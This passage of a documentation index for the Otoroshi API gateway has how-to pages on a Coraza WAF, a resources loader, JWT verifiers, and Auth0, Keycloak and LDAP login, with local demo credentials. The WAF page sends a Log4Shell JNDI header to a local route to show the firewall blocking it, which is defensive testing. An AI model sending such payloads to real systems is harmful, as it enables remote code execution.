\n\nSometimes you may want to secure an app with a [Web Appplication Firewall (WAF)](https://en.wikipedia.org/wiki/Web_application_firewall) and apply the security rules from the [OWASP Core Rule Set](https://owasp.org/www-project-modsecurity-core-rule-set/). To allow that, we integrated [the Coraza WAF](https://coraza.io/) in Otoroshi through a plugin that uses the WASM version of Coraza.\n\n### Before you start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Create a WAF configuration\n\nfirst, go on [the features page of otoroshi](http://otoroshi.oto.tools:8080/bo/dashboard/features) and then click on the [Coraza WAF configs. item](http://otoroshi.oto.tools:8080/bo/dashboard/extensions/coraza-waf/coraza-configs). \n\nNow create a new configuration, give it a name and a description, ensure that you enabled the `Inspect req/res body` flag and save your configuration.\n\nThe corresponding admin api call is the following :\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/apis/coraza-waf.extensions.otoroshi.io/v1/coraza-configs' \\\n -u admin-api-apikey-id:admin-api-apikey-secret -H 'Content-Type: application/json' -d '\n{\n \"id\": \"coraza-waf-demo\",\n \"name\": \"My blocking WAF\",\n \"description\": \"An awesome WAF\",\n \"inspect_body\": true,\n \"config\": {\n \"directives_map\": {\n \"default\": [\n \"Include @recommended-conf\",\n \"Include @crs-setup-conf\",\n \"Include @owasp_crs/*.conf\",\n \"SecRuleEngine DetectionOnly\"\n ]\n },\n \"default_directives\": \"default\",\n \"per_authority_directives\": {}\n }\n}'\n```\n\n### Configure Coraza and the OWASP Core Rule Set\n\nNow you can easily configure the coraza WAF in the `json` config. section. By default it should look something like :\n\n```json\n{\n \"directives_map\": {\n \"default\": [\n \"Include @recommended-conf\",\n \"Include @crs-setup-conf\",\n \"Include @owasp_crs/*.conf\",\n \"SecRuleEngine DetectionOnly\"\n ]\n },\n \"default_directives\": \"default\",\n \"per_authority_directives\": {}\n}\n```\n\nYou can find anything about it in [the documentation of Coraza](https://coraza.io/docs/tutorials/introduction/).\n\nhere we have the basic setup to apply the OWASP core rule set in detection mode only. \nSo each time Coraza will find something weird in a request, it will only log it but let the request pass.\n We can enable blocking by setting `\"SecRuleEngine On\"`\n\nwe can also deny access to the `/admin` uri by adding the following directive\n\n```json\n\"SecRule REQUEST_URI \\\"@streq /admin\\\" \\\"id:101,phase:1,t:lowercase,deny\\\"\"\n```\n\nYou can also provide multiple profile of rules in the `directives_map` with different names and use the `per_authority_directives` object to map hostnames to a specific profile.\n\nthe corresponding admin api call is the following :\n\n```sh\ncurl -X PUT 'http://otoroshi-api.oto.tools:8080/apis/coraza-waf.extensions.otoroshi.io/v1/coraza-configs/coraza-waf-demo' \\\n -u admin-api-apikey-id:admin-api-apikey-secret -H 'Content-Type: application/json' -d '\n{\n \"id\": \"coraza-waf-demo\",\n \"name\": \"My blocking WAF\",\n \"description\": \"An awesome WAF\",\n \"inspect_body\": true,\n \"config\": {\n \"directives_map\": {\n \"default\": [\n \"Include @recommended-conf\",\n \"Include @crs-setup-conf\",\n \"Include @owasp_crs/*.conf\",\n \"SecRule REQUEST_URI \\\"@streq /admin\\\" \\\"id:101,phase:1,t:lowercase,deny\\\"\",\n \"SecRuleEngine On\"\n ]\n },\n \"default_directives\": \"default\",\n \"per_authority_directives\": {}\n }\n}'\n```\n\n### Add the WAF plugin on your route\n\nNow you can create a new route that will use your WAF configuration. Let say we want a route on `http://wouf.oto.tools:8080` to goes to `https://www.otoroshi.io`. Now add the `Coraza WAF` plugin to your route and in the configuration select the configuration you created previously.\n\nthe corresponding admin api call is the following :\n\n```sh\ncurl -X POST 'http://otoroshi-api.oto.tools:8080/api/routes' \\\n -u admin-api-apikey-id:admin-api-apikey-secret \\\n -H 'Content-Type: application/json' -d '\n{\n \"id\": \"route_demo\",\n \"name\": \"WAF route\",\n \"description\": \"A new route with a WAF enabled\",\n \"frontend\": {\n \"domains\": [\n \"wouf.oto.tools\"\n ]\n },\n \"backend\": {\n \"targets\": [\n {\n \"hostname\": \"www.otoroshi.io\",\n \"port\": 443,\n \"tls\": true\n }\n ]\n },\n \"plugins\": [\n {\n \"plugin\": \"cp:otoroshi.wasm.proxywasm.NgCorazaWAF\",\n \"config\": {\n \"ref\": \"coraza-waf-demo\"\n },\n \"plugin_index\": {\n \"validate_access\": 0,\n \"transform_request\": 0,\n \"transform_response\": 0\n }\n },\n {\n \"plugin\": \"cp:otoroshi.next.plugins.OverrideHost\",\n \"plugin_index\": {\n \"transform_request\": 1\n }\n }\n ]\n}'\n```\n\n### Try to use an exploit ;)\n\nlet try to trigger Coraza with a Log4Shell crafted request:\n\n```sh\ncurl 'http://wouf.oto.tools:9999' -H 'foo: ${jndi:rmi://foo/bar}' --include\n\nHTTP/1.1 403 Forbidden\nDate: Thu, 25 May 2023 09:47:04 GMT\nContent-Type: text/plain\nContent-Length: 0\n\n```\n\nor access to `/admin`\n\n```sh\ncurl 'http://wouf.oto.tools:9999/admin' --include\n\nHTTP/1.1 403 Forbidden\nDate: Thu, 25 May 2023 09:47:04 GMT\nContent-Type: text/plain\nContent-Length: 0\n\n```\n\nif you look at otoroshi logs you will find something like :\n\n```log\n[error] otoroshi-proxy-wasm - [client \"127.0.0.1\"] Coraza: Warning. Potential Remote Command Execution: Log4j / Log4shell \n [file \"@owasp_crs/REQUEST-944-APPLICATION-ATTACK-JAVA.conf\"] [line \"10608\"] [id \"944150\"] [rev \"\"] \n [msg \"Potential Remote Command Execution: Log4j / Log4shell\"] [data \"\"] [severity \"critical\"] \n [ver \"OWASP_CRS/4.0.0-rc1\"] [maturity \"0\"] [accuracy \"0\"] [tag \"application-multi\"] \n [tag \"language-java\"] [tag \"platform-multi\"] [tag \"attack-rce\"] [tag \"OWASP_CRS\"] \n [tag \"capec/1000/152/137/6\"] [tag \"PCI/6.5.2\"] [tag \"paranoia-level/1\"] [hostname \"wwwwouf.oto.tools\"] \n [uri \"/\"] [unique_id \"uTYakrlgMBydVGLodbz\"]\n[error] otoroshi-proxy-wasm - [client \"127.0.0.1\"] Coraza: Warning. Inbound Anomaly Score Exceeded (Total Score: 5) \n [file \"@owasp_crs/REQUEST-949-BLOCKING-EVALUATION.conf\"] [line \"11029\"] [id \"949110\"] [rev \"\"] \n [msg \"Inbound Anomaly Score Exceeded (Total Score: 5)\"] \n [data \"\"] [severity \"emergency\"] [ver \"OWASP_CRS/4.0.0-rc1\"] [maturity \"0\"] [accuracy \"0\"] \n [tag \"anomaly-evaluation\"] [hostname \"wwwwouf.oto.tools\"] [uri \"/\"] [unique_id \"uTYakrlgMBydVGLodbz\"]\n[info] otoroshi-proxy-wasm - Transaction interrupted tx_id=\"uTYakrlgMBydVGLodbz\" context_id=3 action=\"deny\" phase=\"http_response_headers\"\n...\n[error] otoroshi-proxy-wasm - [client \"127.0.0.1\"] Coraza: Warning. [file \"\"] [line \"12914\"] \n [id \"101\"] [rev \"\"] [msg \"\"] [data \"\"] [severity \"emergency\"] [ver \"\"] [maturity \"0\"] [accuracy \"0\"] \n [hostname \"wwwwouf.oto.tools\"] [uri \"/admin\"] [unique_id \"mqXZeMdzRaVAqIiqvHf\"]\n[info] otoroshi-proxy-wasm - Transaction interrupted tx_id=\"mqXZeMdzRaVAqIiqvHf\" context_id=2 action=\"deny\" phase=\"http_request_headers\"\n```\n\n### Generated events\n\neach time Coraza will generate log about vunerability detection, an event will be generated in otoroshi and exporter through the usual data exporter way. The event will look like :\n\n```json\n{\n \"@id\" : \"86b647450-3cc7-42a9-aaec-828d261a8c74\",\n \"@timestamp\" : 1684938211157,\n \"@type\" : \"CorazaTrailEvent\",\n \"@product\" : \"otoroshi\",\n \"@serviceId\" : \"--\",\n \"@service\" : \"--\",\n \"@env\" : \"prod\",\n \"level\" : \"ERROR\",\n \"msg\" : \"Coraza: Warning. Potential Remote Command Execution: Log4j / Log4shell\",\n \"fields\" : {\n \"hostname\" : \"wouf.oto.tools\",\n \"maturity\" : \"0\",\n \"line\" : \"10608\",\n \"unique_id\" : \"oNbisKlXWaCdXntaUpq\",\n \"tag\" : \"paranoia-level/1\",\n \"data\" : \"\",\n \"accuracy\" : \"0\",\n \"uri\" : \"/\",\n \"rev\" : \"\",\n \"id\" : \"944150\",\n \"client\" : \"127.0.0.1\",\n \"ver\" : \"OWASP_CRS/4.0.0-rc1\",\n \"file\" : \"@owasp_crs/REQUEST-944-APPLICATION-ATTACK-JAVA.conf\",\n \"msg\" : \"Potential Remote Command Execution: Log4j / Log4shell\",\n \"severity\" : \"critical\"\n },\n \"raw\" : \"[client \\\"127.0.0.1\\\"] Coraza: Warning. Potential Remote Command Execution: Log4j / Log4shell [file \\\"@owasp_crs/REQUEST-944-APPLICATION-ATTACK-JAVA.conf\\\"] [line \\\"10608\\\"] [id \\\"944150\\\"] [rev \\\"\\\"] [msg \\\"Potential Remote Command Execution: Log4j / Log4shell\\\"] [data \\\"\\\"] [severity \\\"critical\\\"] [ver \\\"OWASP_CRS/4.0.0-rc1\\\"] [maturity \\\"0\\\"] [accuracy \\\"0\\\"] [tag \\\"application-multi\\\"] [tag \\\"language-java\\\"] [tag \\\"platform-multi\\\"] [tag \\\"attack-rce\\\"] [tag \\\"OWASP_CRS\\\"] [tag \\\"capec/1000/152/137/6\\\"] [tag \\\"PCI/6.5.2\\\"] [tag \\\"paranoia-level/1\\\"] [hostname \\\"wouf.oto.tools\\\"] [uri \\\"/\\\"] [unique_id \\\"oNbisKlXWaCdXntaUpq\\\"]\\n\",\n}\n```" + }, + { + "name": "resources-loader.md", + "id": "/how-to-s/resources-loader.md", + "url": "/how-to-s/resources-loader.html", + "title": "The resources loader", + "content": "# The resources loader\n\nThe resources loader is a tool to create an Otoroshi resource from a raw content. This content can be found on each Otoroshi resources pages (services descriptors, apikeys, certificates, etc ...). To get the content of a resource as file, you can use the two export buttons, one to export as JSON format and the other as YAML format.\n\nOnce exported, the content of the resource can be import with the resource loader. You can import single or multiples resources on one time, as JSON and YAML format.\n\nThe resource loader is available on this route [`bo/dashboard/resources-loader`](http://otoroshi.oto.tools:8080/bo/dashboard/resources-loader).\n\nOn this page, you can paste the content of your resources and click on **Load resources**.\n\nFor each detected resource, the loader will display :\n\n* a resource name corresponding to the field `name` \n* a resource type corresponding to the type of created resource (ServiceDescriptor, ApiKey, Certificate, etc)\n* a toggle to choose if you want to include the element for the creation step\n* the updated status by the creation process\n\nOnce you have selected the resources to create, you can **Import selected resources**.\n\nOnce generated, all status will be updated. If all is working, the status will be equals to done.\n\nIf you want to get back to the initial page, you can use the **restart** button." + }, + { + "name": "secure-an-app-with-jwt-verifiers.md", + "id": "/how-to-s/secure-an-app-with-jwt-verifiers.md", + "url": "/how-to-s/secure-an-app-with-jwt-verifiers.html", + "title": "Secure an api with jwt verifiers", + "content": "# Secure an api with jwt verifiers\n\n
\nRoute plugins:\nJwt verification only\n
\n\nA Jwt verifier is the guard that verifies the signature of tokens in requests. \n\nA verifier can obvisouly verify or generate.\n\n### Before you start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Your first jwt verifier\n\nLet's start by validating all incoming request tokens tokens on our simple route created in the @ref:[Before you start](#before-you-start) section.\n\n1. Navigate to the simple route\n2. Search in the list of plugins and add the `Jwt verification only` plugin on the flow\n3. Click on `Start by select or create a JWT Verifier`\n4. Create a new JWT verifier\n5. Set `simple-jwt-verifier` as `Name`\n6. Select `Hmac + SHA` as `Algo` (for this example, we expect tokens with a symetric signature), `512` as `SHA size` and `otoroshi` as `HMAC secret`\n7. Confirm the creation \n\nSave your route and try to call it\n\n```sh\ncurl -X GET 'http://myservice.oto.tools:8080/' --include\n```\n\nThis should output : \n```json\n{\n \"Otoroshi-Error\": \"error.expected.token.not.found\"\n}\n```\n\nA simple way to generate a token is to use @link:[jwt.io](http://jwt.io) { open=new }. Once navigate, define `HS512` as `alg` in header section and insert `otoroshi` as verify signature secret. \n\nOnce created, copy-paste the token from jwt.io to the Authorization header and call our service.\n\n```sh\n# replace xxxx by the generated token\ncurl -X GET \\\n -H \"X-JWT-Token: xxxx\" \\\n 'http://myservice.oto.tools:8080'\n```\n\nThis should output a json with `X-JWT-Token` in headers field. Its value is exactly the same as the passed token.\n\n```json\n{\n \"method\": \"GET\",\n \"path\": \"/\",\n \"headers\": {\n \"host\": \"mirror.otoroshi.io\",\n \"X-JWT-Token\": \"eyJhbGciOiJIUzUxMiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.ipDFgkww51mSaSg_199BMRj4gK20LGz_czozu3u8rCFFO1X20MwcabSqEzUc0q4qQ4rjTxjoR4HeUDVcw8BxoQ\",\n ...\n }\n}\n```\n\n### Verify and generate a new token\n\nAn other feature is to verify the incomings tokens and generate new ones, with a different signature and claims. \n\nLet's start by extending the @link:[previous verifier](http://otoroshi.oto.tools:8080/bo/dashboard/jwt-verifiers) { open=new }.\n\n1. Jump to the `Verif Strategy` field and select `Verify and re-sign JWT token`. \n2. Edit the name with `jwt-verify-and-resign`\n3. Remove the default field in `Verify token fields` array\n4. Change the second `Hmac secret` in `Re-sign settings` section with `otoroshi-internal-secret`\n5. Save your verifier.\n\n> Note : the name of the verifier doesn't impact the identifier. So you can save the changes of your verifier without modifying the identifier used in your call. \n\n```sh\n# replace xxxx by the generated token\ncurl -X GET \\\n -H \"Authorization: xxxx\" \\\n 'http://myservice.oto.tools:8080'\n```\n\nThis should output a json with `authorization` in headers field. This time, the value are different and you can check his signature on @link:[jwt.io](https://jwt.io) { open=new } (the expected secret of the generated token is **otoroshi-internal-secret**)\n\n\n\n### Verify, transform and generate a new token\n\nThe most advanced verifier is able to do the same as the previous ones, with the ability to configure the token generation (claims, output header name).\n\nLet's start by extending the @link:[previous verifier](http://otoroshi.oto.tools:8080/bo/dashboard/jwt-verifiers) { open=new }.\n\n1. Jump to the `Verif Strategy` field and select `Verify, transform and re-sign JWT token`. \n\n2. Edit the name with `jwt-verify-transform-and-resign`\n3. Remove the default field in `Verify token fields` array\n4. Change the second `Hmac secret` in `Re-sign settings` section with `otoroshi-internal-secret`\n5. Set `Internal-Authorization` as `Header name`\n6. Set `key` on first field of `Rename token fields` and `from-otoroshi-verifier` on second field\n7. Set `generated-key` and `generated-value` as `Set token fields`\n8. Add `generated_at` and `${date}` as second field of `Set token fields` (Otoroshi supports an @ref:[expression language](../topics/expression-language.md))\n9. Save your verifier and try to call your service again.\n\nThis should output a json with `authorization` in headers field and our generate token in `Internal-Authorization`.\nOnce paste in @link:[jwt.io](https://jwt.io) { open=new }, you should have :\n\n\n\nYou can see, in the payload of your token, the two claims **from-otoroshi-verifier** and **generated-key** added during the generation of the token by the JWT verifier.\n" + }, + { + "name": "secure-app-with-auth0.md", + "id": "/how-to-s/secure-app-with-auth0.md", + "url": "/how-to-s/secure-app-with-auth0.html", + "title": "Secure an app with Auth0", + "content": "# Secure an app with Auth0\n\n
\nRoute plugins:\nAuthentication\n
\n\n### Download Otoroshi\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Configure an Auth0 client\n\nThe first step of this tutorial is to setup an Auth0 application with the information of the instance of our Otoroshi.\n\nNavigate to @link:[https://manage.auth0.com](https://manage.auth0.com) { open=new } (create an account if it's not already done). \n\nLet's create an application when clicking on the **Applications** button on the sidebar. Then click on the **Create application** button on the top right.\n\n1. Choose `Regular Web Applications` as `Application type`\n2. Then set for example `otoroshi-client` as `Name`, and confirm the creation\n3. Jump to the `Settings` tab\n4. Scroll to the `Application URLs` section and add the following url as `Allowed Callback URLs` : `http://otoroshi.oto.tools:8080/backoffice/auth0/callback`\n5. Set `https://otoroshi.oto.tools:8080/` as `Allowed Logout URLs`\n6. Set `https://otoroshi.oto.tools:8080` as `Allowed Web Origins` \n7. Save changes at the bottom of the page.\n\nOnce done, we have a full setup, with a client ID and secret at the top of the page, which authorizes our Otoroshi and redirects the user to the callback url when they log into Auth0.\n\n### Create an Auth0 provider module\n\nLet's back to Otoroshi to create an authentication module with `OAuth2 / OIDC provider` as `type`.\n\n1. Go ahead, and navigate to @link:[http://otoroshi.oto.tools:8080](http://otoroshi.oto.tools:8080) { open=new }\n1. Click on the cog icon on the top right\n1. Then `Authentication configs` button\n1. And add a new configuration when clicking on the `Add item` button\n2. Select the `OAuth provider` in the type selector field\n3. Then click on `Get from OIDC config` and paste `https://..auth0.com/.well-known/openid-configuration`. Replace the tenant name by the name of your tenant (displayed on the left top of auth0 page), and the region of the tenant (`eu` in my case).\n\nOnce done, set the `Client ID` and the `Client secret` from your Auth0 application. End the configuration with `http://otoroshi.oto.tools:8080/backoffice/auth0/callback` as `Callback URL`.\n\nAt the bottom of the page, disable the `secure` button (because we're using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs).\n\n### Connect to Otoroshi with Auth0 authentication\n\nTo secure Otoroshi with your Auth0 configuration, we have to register an **Authentication configuration** as a BackOffice Auth. configuration.\n\n1. Navigate to the **danger zone** (when clicking on the cog on the top right and selecting Danger zone)\n2. Scroll to the **BackOffice auth. settings**\n3. Select your last Authentication configuration (created in the previous section)\n4. Save the global configuration with the button on the top right\n\n#### Testing your configuration\n\n1. Disconnect from your instance\n1. Then click on the *Login using third-party* button (or navigate to http://otoroshi.oto.tools:8080)\n2. Click on **Login using Third-party** button\n3. If all is configured, Otoroshi will redirect you to the auth0 server login page\n4. Set your account credentials\n5. Good works! You're connected to Otoroshi with an Auth0 module.\n\n### Secure an app with Auth0 authentication\n\nWith the previous configuration, you can secure any of Otoroshi services with it. \n\nThe first step is to apply a little change on the previous configuration. \n\n1. Navigate to @link:[http://otoroshi.oto.tools:8080/bo/dashboard/auth-configs](http://otoroshi.oto.tools:8080/bo/dashboard/auth-configs) { open=new }.\n2. Create a new **Authentication module** configuration with the same values.\n3. Replace the `Callback URL` field to `http://privateapps.oto.tools:8080/privateapps/generic/callback` (we changed this value because the redirection of a connected user by a third-party server is covered by another route by Otoroshi).\n4. Disable the `secure` button (because we're using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs)\n\n> Note : an Otoroshi service is called **a private app** when it is protected by an Authentication module.\n\nWe can set the Authentication module on your route.\n\n1. Navigate to any created route\n2. Search in the list of plugins the plugin named `Authentication`\n3. Select your Authentication config inside the list\n4. Don't forget to save your configuration.\n5. Now you can try to call your route and see the Auth0 login page appears.\n\n\n" + }, + { + "name": "secure-app-with-keycloak.md", + "id": "/how-to-s/secure-app-with-keycloak.md", + "url": "/how-to-s/secure-app-with-keycloak.html", + "title": "Secure an app with Keycloak", + "content": "# Secure an app with Keycloak\n\n### Before you start\n\n@@include[initialize.md](../includes/initialize.md) { #initialize-otoroshi }\n\n### Running a keycloak instance with docker\n\n```sh\ndocker run \\\n -p 8080:8080 \\\n -e KEYCLOAK_USER=admin \\\n -e KEYCLOAK_PASSWORD=admin \\\n --name keycloak-server \\\n --detach jboss/keycloak:15.0.1\n```\n\nThis should download the image of keycloak (if you haven't already it) and display the digest of the created container. This command mapped TCP port 8080 in the container to port 8080 of your laptop and created a server with `admin/admin` as admin credentials.\n\nOnce started, you can open a browser on @link:[http://localhost:8080](http://localhost:8080) { open=new } and click on `Administration Console`. Log to your instance with `admin/admin` as credentials.\n\nThe first step is to create a Keycloak client, an entity that can request Keycloak to authenticate a user. Click on the **clients** button on the sidebar, and then on **Create** button at the top right of the view.\n\nFill the client form with the following values.\n\n* `Client ID`: `keycloak-otoroshi-backoffice`\n* `Client Protocol`: `openid-connect`\n* `Root URL`: `http://otoroshi.oto.tools:8080/`\n\nValidate the creation of the client by clicking on the **Save** button.\n\nThe next step is to change the `Access Type` used by default. Jump to the `Access Type` field and select `confidential`. The confidential configuration force the client application to send at Keycloak a client ID and a client Secret. Scroll to the bottom of the page and save the configuration.\n\nNow scroll to the top of your page. Just at the right of the `Settings` tab, a new tab appeared : the `Credentials` page. Click on this tab, and make sure that `Client Id and Secret` is selected as `Client Authenticator` and copy the generated `Secret` to the next part.\n\n### Create a Keycloak provider module\n\n1. Go ahead, and navigate to http://otoroshi.oto.tools:8080\n1. Click on the cog icon on the top right\n1. Then `Authentication configs` button\n1. And add a new configuration when clicking on the `Add item` button\n2. Select the `OAuth2 / OIDC provider` in the type selector field\n3. Set a basic name and description\n\nA simple way to import a Keycloak client is to give the `URL of the OpenID Connect` Otoroshi. By default, keycloak used the next URL : `http://localhost:8080/auth/realms/master/.well-known/openid-configuration`. \n\nClick on the `Get from OIDC config` button and paste the previous link. Once it's done, scroll to the `URLs` section. All URLs has been fill with the values picked from the JSON object returns by the previous URL.\n\nThe only fields to change are : \n\n* `Client ID`: `keycloak-otoroshi-backoffice`\n* `Client Secret`: Paste the secret from the Credentials Keycloak page. In my case, it's something like `90c9bf0b-2c0c-4eb0-aa02-72195beb9da7`\n* `Callback URL`: `http://otoroshi.oto.tools:8080/backoffice/auth0/callback`\n\nAt the bottom of the page, disable the `secure` button (because we're using http and this configuration avoid to include cookie in an HTTP Request without secure channel, typically HTTPs). Nothing else to change, just save the configuration.\n\n### Connect to Otoroshi with Keycloak authentication\n\nTo secure Otoroshi with your Keycloak configuration, we have to register an Authentication configuration as a BackOffice Auth. configuration.\n\n1. Navigate to the **danger zone** (when clicking on the cog on the top right and selecting Danger zone)\n1. Scroll to the **BackOffice auth. settings**\n1. Select your last Authentication configuration (created in the previous section)\n1. Save the global configuration with the button on the top right\n\n### Testing your configuration\n\n1. Disconnect from your instance\n1. Then click on the **Login using third-party** button (or navigate to @link:[http://otoroshi.oto.tools:8080](http://otoroshi.oto.tools:8080) { open=new })\n2. Click on **Login using Third-party** button\n3. If all is configured, Otoroshi will redirect you to the keycloak login page\n4. Set `admin/admin` as user and trust the user by clicking on `yes` button.\n5. Good work! You're connected to Otoroshi with an Keycloak module.\n\n> A fallback solution is always available in the event of a bad authentication configuration. By going to http://otoroshi.oto.tools:8080/bo/simple/login, the administrators will be able to redefine the configuration.\n\n### Visualize an admin user session or a private user session\n\nEach user, wheter connected user to the Otoroshi UI or at a private Otoroshi app, has an own session. As an administrator of Otoroshi, you can visualize via Otoroshi the list of the connected users and their profile.\n\nLet's start by navigating to the `Admin users sessions` page (just @link:[here](http://otoroshi.oto.tools:8080/bo/dashboard/sessions/admin) or when clicking on the cog, and on the `Admins sessions` button at the bottom of the list).\n\nThis page gives a complete view of the connected admins. For each admin, you have his connection date and his expiration date. You can also check the `Profile` and the `Rights` of the connected users.\n\nIf we check the profile and the rights of the previously logged user (from Keycloak in the previous part) we can retrieve the following information :\n\n```json\n{\n \"sub\": \"4c8cd101-ca28-4611-80b9-efa504ac51fd\",\n \"upn\": \"admin\",\n \"email_verified\": false,\n \"address\": {},\n \"groups\": [\n \"create-realm\",\n \"default-roles-master\",\n \"offline_access\",\n \"admin\",\n \"uma_authorization\"\n ],\n \"preferred_username\": \"admin\"\n}\n```\n\nand his default rights \n\n```sh\n[\n {\n \"tenant\": \"default:rw\",\n \"teams\": [\n \"default:rw\"\n ]\n }\n]\n```\n\nWe haven't create any specific groups in Keycloak or specify rights in Otoroshi for him. In this case, the use received the default Otoroshi rights at his connection. The user can navigate on the default Organization and Teams (which are two resources created by Otoroshi at the boot) and have the full access on its (`r`: Read, `w`: Write, `*`: read/write).\n\nIn the same way, you'll find all users connected to a private Otoroshi app when navigate on the @link:[`Private App View`](http://otoroshi.oto.tools:8080/bo/dashboard/sessions/private) or using the cog at the top of the page. \n\n### Configure the Keycloak module to force logged in users to be an Otoroshi admin with full access\n\nGo back to the Keycloak module in `Authentication configs` view. Turn on the `Supers admin only` button and save your configuration. Try again the connection to Otoroshi using Keycloak third-party server.\n\nOnce connected, click on the cog button, and check that you have access to the full features of Otoroshi (like Admin user sessions). Now, your rights should be : \n```json\n[\n {\n \"tenant\": \"*:rw\",\n \"teams\": [\n \"*:rw\"\n ]\n }\n]\n```\n\n### Merge Id token content on user profile\n\nGo back to the Keycloak module in `Authentication configs` view. Turn on the `Read profile` from token button and save your configuration. Try again the connection to Otoroshi using Keycloak third-party server.\n\nOnce connected, your profile should be contains all Keycloak id token : \n```json\n{\n \"exp\": 1634286674,\n \"iat\": 1634286614,\n \"auth_time\": 1634286614,\n \"jti\": \"eb368578-e886-4caa-a51b-c1d04973c80e\",\n \"iss\": \"http://localhost:8080/auth/realms/master\",\n \"aud\": [\n \"master-realm\",\n \"account\"\n ],\n \"sub\": \"4c8cd101-ca28-4611-80b9-efa504ac51fd\",\n \"typ\": \"Bearer\",\n \"azp\": \"keycloak-otoroshi-backoffice\",\n \"session_state\": \"e44fe471-aa3b-477d-b792-4f7b4caea220\",\n \"acr\": \"1\",\n \"allowed-origins\": [\n \"http://otoroshi.oto.tools:8080\"\n ],\n \"realm_access\": {\n \"roles\": [\n \"create-realm\",\n \"default-roles-master\",\n \"offline_access\",\n \"admin\",\n \"uma_authorization\"\n ]\n },\n \"resource_access\": {\n \"master-realm\": {\n \"roles\": [\n \"view-identity-providers\",\n \"view-realm\",\n \"manage-identity-providers\",\n \"impersonation\",\n \"create-client\",\n \"manage-users\",\n \"query-realms\",\n \"view-authorization\",\n \"query-clients\",\n \"query-users\",\n \"manage-events\",\n \"manage-realm\",\n \"view-events\",\n \"view-users\",\n \"view-clients\",\n \"manage-authorization\",\n \"manage-clients\",\n \"query-groups\"\n ]\n },\n \"account\": {\n \"roles\": [\n \"manage-account\",\n \"manage-account-links\",\n \"view-profile\"\n ]\n }\n }\n ...\n}\n```\n\n### Manage the Otoroshi user rights from keycloak\n\nOne powerful feature supports by Otoroshi, is to use the Keycloak groups attributes to set a list of rights for a Otoroshi user.\n\nIn the Keycloak module, you have a field, named `Otoroshi rights field name` with `otoroshi_rights` as default value. This field is used by Otoroshi to retrieve information from the Id token groups.\n\nLet's create a group in Keycloak, and set our default Admin user inside.\nIn Keycloak admin console :\n\n1. Navigate to the groups view, using the keycloak sidebar\n2. Create a new group with `my-group` as `Name`\n3. Then, on the `Attributes` tab, create an attribute with `otoroshi_rights` as `Key` and the following json array as `Value`\n```json\n[\n {\n \"tenant\": \"*:rw\",\n \"teams\": [\n \"*:rw\",\n \"my-future-team:rw\"\n ]\n }\n]\n```\n\nWith this configuration, the user have a full access on all Otoroshi resources (my-future-team is not created in Otoroshi but it's not a problem, Otoroshi can handle it and use this rights only when the team will be present)\n\nClick on the **Add** button and **save** the group. The last step is to assign our user to this group. Jump to `Users` view using the sidebar, click on **View all users**, edit the user and his group membership using the `Groups` tab (use **join** button the assign user in `my-group`).\n\nThe next step is to add a mapper in the Keycloak client. By default, Keycloak doesn't expose any users information (like group membership or users attribute). We need to ask to Keycloak to expose the user attribute `otoroshi_rights` set previously on group.\n\nNavigate to the `Keycloak-otoroshi-backoffice` client, and jump to `Mappers` tab. Create a new mapper with the following values: \n\n* Name: `otoroshi_rights`\n* Mapper Type: `User Attribute`\n* User Attribute: `otoroshi_rights`\n* Token Claim Name: `otoroshi_rights`\n* Claim JSON Type: `JSON`\n* Multivalued: `√`\n* Aggregate attribute values: `√`\n\nGo back to the Authentication Keycloak module inside Otoroshi UI, and turn off **Super admins only**. **Save** the configuration.\n\nOnce done, try again the connection to Otoroshi using Keycloak third-party server.\nNow, your rights should be : \n```json\n[\n {\n \"tenant\": \"*:rw\",\n \"teams\": [\n \"*:rw\",\n \"my-future-team:rw\"\n ]\n }\n]\n```\n\n### Secure an app with Keycloak authentication\n\nThe only change to apply on the previous authentication module is on the callback URL. When you want secure a Otoroshi service, and transform it on `Private App`, you need to set the `Callback URL` at `http://privateapps.oto.tools:8080/privateapps/generic/callback`. This configuration will redirect users to the backend service after they have successfully logged in.\n\n1. Go back to the authentication module\n2. Jump to the `Callback URL` field\n3. Paste this value `http://privateapps.oto.tools:8080/privateapps/generic/callback`\n4. Save your configuration\n5. Navigate to `http://myservice.oto.tools:8080`.\n6. You should redirect to the keycloak login page.\n7. Once logged in, you can check the content of the private app session created.\n\nThe rights should be : \n\n```json\n[\n {\n \"tenant\": \"*:rw\",\n \"teams\": [\n \"*:rw\",\n \"my-future-team:rw\"\n ]\n }\n]\n```" + }, + { + "name": "secure-app-with-ldap.md", + "id": "/how-to-s/secure-app-with-ldap.md", + "url": "/how-to-s/secure-app-with-ldap.html", + "title": "Secure an app and/or your Otoroshi UI with LDAP", + "content": "# Secure an app and/or your Otoroshi UI with LDAP\n\n
\nRoute plugins:\nAuthentication\n
\n\n### Before you start\n\n@@include[fetch-and-start.md](../includes/fetch-and-start.md) { #init }\n\n#### Running an simple OpenLDAP server \n\nRun OpenLDAP docker image : \n```sh\ndocker run \\\n -p 389:389 \\\n -p 636:636 \\\n --env LDAP_ORGANISATION=\"Otoroshi company\" \\\n --env LDAP_DOMAIN=\"otoroshi.tools\" \\\n --env LDAP_ADMIN_PASSWORD=\"otoroshi\" \\\n --env LDAP_READONLY_USER=\"false\" \\\n --env LDAP_TLS\"false\" \\\n --env LDAP_TLS_ENFORCE\"false\" \\\n --name my-openldap-container \\\n --detach osixia/openldap:1.5.0\n```\n\nLet's make the first search in our LDAP container :\n\n```sh\ndocker exec my-openldap-container ldapsearch -x -H ldap://localhost -b dc=otoroshi,dc=tools -D \"cn=admin,dc=otoroshi,dc=tools\" -w otoroshi\n```\n\nThis should output :\n```sh\n# extended LDIF\n ...\n# otoroshi.tools\ndn: dc=otoroshi,dc=tools\nobjectClass: top\nobjectClass: dcObject\nobjectClass: organization\no: Otoroshi company\ndc: otoroshi\n\n# search result\nsearch: 2\nresult: 0 Success\n...\n```\n\nNow you can seed the open LDAP server with a few users. \n\nJoin your LDAP container.\n\n```sh\ndocker exec -it my-openldap-container \"/bin/bash\"\n```\n\nThe command `ldapadd` needs of a file to run.\n\nLaunch this command to create a `bootstrap.ldif` with one organization, one singers group with John user and a last group with 